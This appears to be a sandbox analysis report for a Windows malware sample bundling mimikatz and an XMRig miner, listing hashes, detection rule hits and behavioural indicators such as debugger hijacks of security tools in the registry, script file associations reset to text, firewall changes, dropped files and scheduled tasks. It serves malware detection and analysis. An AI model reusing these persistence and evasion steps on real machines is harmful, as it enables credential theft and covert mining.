mimikatz | ff08b544316044d16e41892911890ecdb8a3c176c75d4ca33492fe2ac72ae321

Analysis

max time kernel
159s
max time network
169s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
20-04-2024 11:28

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General

Target

2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe
Size

9.9MB
MD5

83ccc31e8a8d6e728e3f687c1225b122
SHA1

37304d9ad07f6e7c83b64ec8383e1b0715854dc2
SHA256

ff08b544316044d16e41892911890ecdb8a3c176c75d4ca33492fe2ac72ae321
SHA512

d0c13572e7dd8deb8c921491006f8e89aabc3c65d9de6059937fd7386cdb81b92e133ee5ff15c10d11a54cb4c2664466963e479b1a7881c9e91bec74a37b19fe
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig discovery evasion miner persistence upx

Malware Config

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

naustif.exe

description pid process target process

PID 3652 created 1896 3652 naustif.exe spoolsv.exe
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

description	pid	process	target process
PID 3652 created 1896	3652	naustif.exe	spoolsv.exe

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4948-135-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/4948-136-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

UPX dump on OEP (original entry point) 16 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4956-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	UPX
C:\Windows\rkilesrw\naustif.exe	UPX
behavioral2/memory/4160-7-0x0000000000400000-0x0000000000AA4000-memory.dmp	UPX
C:\Windows\tteyulnen\Corporate\vfshost.exe	UPX
behavioral2/memory/4948-135-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	UPX
behavioral2/memory/4948-136-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	UPX
C:\Windows\Temp\vzignttnc\ybtnut.exe	UPX
behavioral2/memory/2452-140-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	UPX
C:\Windows\Temp\tteyulnen\skyttnyln.exe	UPX
behavioral2/memory/1940-144-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	UPX
behavioral2/memory/1940-153-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	UPX
behavioral2/memory/2452-170-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	UPX
behavioral2/memory/1648-171-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	UPX
behavioral2/memory/2452-172-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	UPX
behavioral2/memory/2452-173-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	UPX
behavioral2/memory/1648-175-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	UPX

XMRig Miner payload 3 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2452-170-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	xmrig
behavioral2/memory/2452-172-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	xmrig
behavioral2/memory/2452-173-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4956-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
C:\Windows\rkilesrw\naustif.exe	mimikatz
behavioral2/memory/4160-7-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4948-135-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	mimikatz
behavioral2/memory/4948-136-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

Processes:

naustif.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	naustif.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

2380 netsh.exe
4336 netsh.exe

pid	process
2380	netsh.exe
4336	netsh.exe

Sets file execution options in registry 2 TTPs 40 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

naustif.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	naustif.exe

Executes dropped EXE 11 IoCs

Processes:

naustif.exenaustif.exewpcap.exeeblttilyr.exevfshost.exeybtnut.exeskyttnyln.exexohudmc.exeskyttnyln.exegykgye.exeskyttnyln.exe

pid	process
4160	naustif.exe
3652	naustif.exe
4920	wpcap.exe
1248	eblttilyr.exe
4948	vfshost.exe
2452	ybtnut.exe
1940	skyttnyln.exe
2456	xohudmc.exe
1648	skyttnyln.exe
2916	gykgye.exe
2380	skyttnyln.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exeeblttilyr.exe

pid	process
4920	wpcap.exe
4920	wpcap.exe
4920	wpcap.exe
4920	wpcap.exe
4920	wpcap.exe
4920	wpcap.exe
4920	wpcap.exe
4920	wpcap.exe
4920	wpcap.exe
1248	eblttilyr.exe
1248	eblttilyr.exe
1248	eblttilyr.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\tteyulnen\Corporate\vfshost.exe	upx
behavioral2/memory/4948-135-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	upx
behavioral2/memory/4948-136-0x00007FF78A1B0000-0x00007FF78A29E000-memory.dmp	upx
C:\Windows\Temp\vzignttnc\ybtnut.exe	upx
behavioral2/memory/2452-140-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	upx
C:\Windows\Temp\tteyulnen\skyttnyln.exe	upx
behavioral2/memory/1940-144-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	upx
behavioral2/memory/1940-153-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	upx
behavioral2/memory/2452-170-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	upx
behavioral2/memory/1648-171-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	upx
behavioral2/memory/2452-172-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	upx
behavioral2/memory/2452-173-0x00007FF7E67E0000-0x00007FF7E6900000-memory.dmp	upx
behavioral2/memory/1648-175-0x00007FF77CCD0000-0x00007FF77CD2B000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Creates a Windows Service
persistence

Drops file in System32 directory 7 IoCs

Processes:

xohudmc.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\gykgye.exe	xohudmc.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\gykgye.exe	xohudmc.exe

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 57 IoCs

Processes:

naustif.execmd.exe2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe

description	ioc	process
File created	C:\Windows\tteyulnen\UnattendGC\specials\posh-0.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\tibe-2.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\docmicfg.xml	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\vimpcsvc.exe	naustif.exe
File created	C:\Windows\tteyulnen\igasksjja\krslbantt.exe	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\svschost.exe	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\schoedcl.xml	naustif.exe
File created	C:\Windows\rkilesrw\svschost.xml	naustif.exe
File created	C:\Windows\tteyulnen\igasksjja\Packet.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\exma-1.dll	naustif.exe
File created	C:\Windows\rkilesrw\spoolsrv.xml	naustif.exe
File opened for modification	C:\Windows\rkilesrw\schoedcl.xml	naustif.exe
File opened for modification	C:\Windows\tteyulnen\Corporate\log.txt	cmd.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\ssleay32.dll	naustif.exe
File created	C:\Windows\rkilesrw\docmicfg.xml	naustif.exe
File created	C:\Windows\tteyulnen\Corporate\mimidrv.sys	naustif.exe
File opened for modification	C:\Windows\rkilesrw\naustif.exe	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe
File created	C:\Windows\tteyulnen\UnattendGC\vimpcsvc.xml	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\vimpcsvc.xml	naustif.exe
File created	C:\Windows\tteyulnen\Corporate\vfshost.exe	naustif.exe
File created	C:\Windows\tteyulnen\igasksjja\eblttilyr.exe	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\crli-0.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\libeay32.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\tucl-1.dll	naustif.exe
File created	C:\Windows\rkilesrw\schoedcl.xml	naustif.exe
File created	C:\Windows\rkilesrw\naustif.exe	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\ucl.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\schoedcl.exe	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\svschost.xml	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\spoolsrv.xml	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\schoedcl.xml	naustif.exe
File created	C:\Windows\ime\naustif.exe	naustif.exe
File created	C:\Windows\tteyulnen\igasksjja\wpcap.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\xdvl-0.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\svschost.xml	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\spoolsrv.exe	naustif.exe
File opened for modification	C:\Windows\rkilesrw\spoolsrv.xml	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\AppCapture64.dll	naustif.exe
File created	C:\Windows\tteyulnen\igasksjja\wpcap.exe	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\cnli-1.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\libxml2.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\Shellcode.ini	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\AppCapture32.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\zlib1.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\docmicfg.exe	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\spoolsrv.xml	naustif.exe
File created	C:\Windows\tteyulnen\Corporate\mimilib.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\coli-0.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\trfo-2.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\docmicfg.xml	naustif.exe
File opened for modification	C:\Windows\rkilesrw\docmicfg.xml	naustif.exe
File opened for modification	C:\Windows\tteyulnen\igasksjja\Packet.dll	naustif.exe
File created	C:\Windows\tteyulnen\UnattendGC\specials\trch-1.dll	naustif.exe
File created	C:\Windows\rkilesrw\vimpcsvc.xml	naustif.exe
File opened for modification	C:\Windows\rkilesrw\svschost.xml	naustif.exe
File opened for modification	C:\Windows\rkilesrw\vimpcsvc.xml	naustif.exe
File created	C:\Windows\tteyulnen\upbdrjv\swrpwe.exe	naustif.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1136 sc.exe
5032 sc.exe
3468 sc.exe
4884 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1136	sc.exe
5032	sc.exe
3468	sc.exe
4884	sc.exe

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
C:\Windows\rkilesrw\naustif.exe	nsis_installer_2
C:\Windows\tteyulnen\igasksjja\wpcap.exe	nsis_installer_1
C:\Windows\tteyulnen\igasksjja\wpcap.exe	nsis_installer_2

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

4672 schtasks.exe
2368 schtasks.exe
1164 schtasks.exe

pid	process
4672	schtasks.exe
2368	schtasks.exe
1164	schtasks.exe

Modifies data under HKEY_USERS 13 IoCs

Processes:

naustif.exeskyttnyln.exeskyttnyln.exeskyttnyln.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	naustif.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	naustif.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	skyttnyln.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	skyttnyln.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	skyttnyln.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	skyttnyln.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	naustif.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	naustif.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	skyttnyln.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	skyttnyln.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	skyttnyln.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	naustif.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	skyttnyln.exe

Modifies registry class 14 IoCs

Processes:

naustif.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	naustif.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	naustif.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	naustif.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4844 PING.EXE

pid	process
4844	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

naustif.exe

pid	process
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe
3652	naustif.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid process

672
672
672
672
672
672
672
672
672
672
672
672
672
672
672
Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe

pid process

4956 2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe

pid	process
672
672
672
672
672
672
672
672
672
672
672
672
672
672
672

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exenaustif.exenaustif.exevfshost.exeybtnut.exeskyttnyln.exeskyttnyln.exeskyttnyln.exe

description	pid	process
Token: SeDebugPrivilege	4956	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	4160	naustif.exe
Token: SeDebugPrivilege	3652	naustif.exe
Token: SeDebugPrivilege	4948	vfshost.exe
Token: SeLockMemoryPrivilege	2452	ybtnut.exe
Token: SeDebugPrivilege	1940	skyttnyln.exe
Token: SeLockMemoryPrivilege	2452	ybtnut.exe
Token: SeDebugPrivilege	1648	skyttnyln.exe
Token: SeDebugPrivilege	2380	skyttnyln.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exenaustif.exenaustif.exexohudmc.exegykgye.exe

pid	process
4956	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe
4956	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe
4160	naustif.exe
4160	naustif.exe
3652	naustif.exe
3652	naustif.exe
2456	xohudmc.exe
2916	gykgye.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.execmd.exenaustif.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	process	target process
PID 4956 wrote to memory of 1356	4956	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe	cmd.exe
PID 4956 wrote to memory of 1356	4956	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe	cmd.exe
PID 4956 wrote to memory of 1356	4956	2024-04-20_83ccc31e8a8d6e728e3f687c1225b122_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1356 wrote to memory of 4844	1356	cmd.exe	PING.EXE
PID 1356 wrote to memory of 4844	1356	cmd.exe	PING.EXE
PID 1356 wrote to memory of 4844	1356	cmd.exe	PING.EXE
PID 1356 wrote to memory of 4160	1356	cmd.exe	naustif.exe
PID 1356 wrote to memory of 4160	1356	cmd.exe	naustif.exe
PID 1356 wrote to memory of 4160	1356	cmd.exe	naustif.exe
PID 3652 wrote to memory of 1764	3652	naustif.exe	cmd.exe
PID 3652 wrote to memory of 1764	3652	naustif.exe	cmd.exe
PID 3652 wrote to memory of 1764	3652	naustif.exe	cmd.exe
PID 1764 wrote to memory of 4984	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 4984	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 4984	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 2284	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 2284	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 2284	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 1588	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 1588	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 1588	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 4404	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 4404	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 4404	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 4276	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 4276	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 4276	1764	cmd.exe	cmd.exe
PID 1764 wrote to memory of 5088	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 5088	1764	cmd.exe	cacls.exe
PID 1764 wrote to memory of 5088	1764	cmd.exe	cacls.exe
PID 3652 wrote to memory of 3056	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 3056	3652	naustif.exe	netsh.exe
PID 3652 wrote to memory of 3056	3652	naustif.exe	netsh.exe
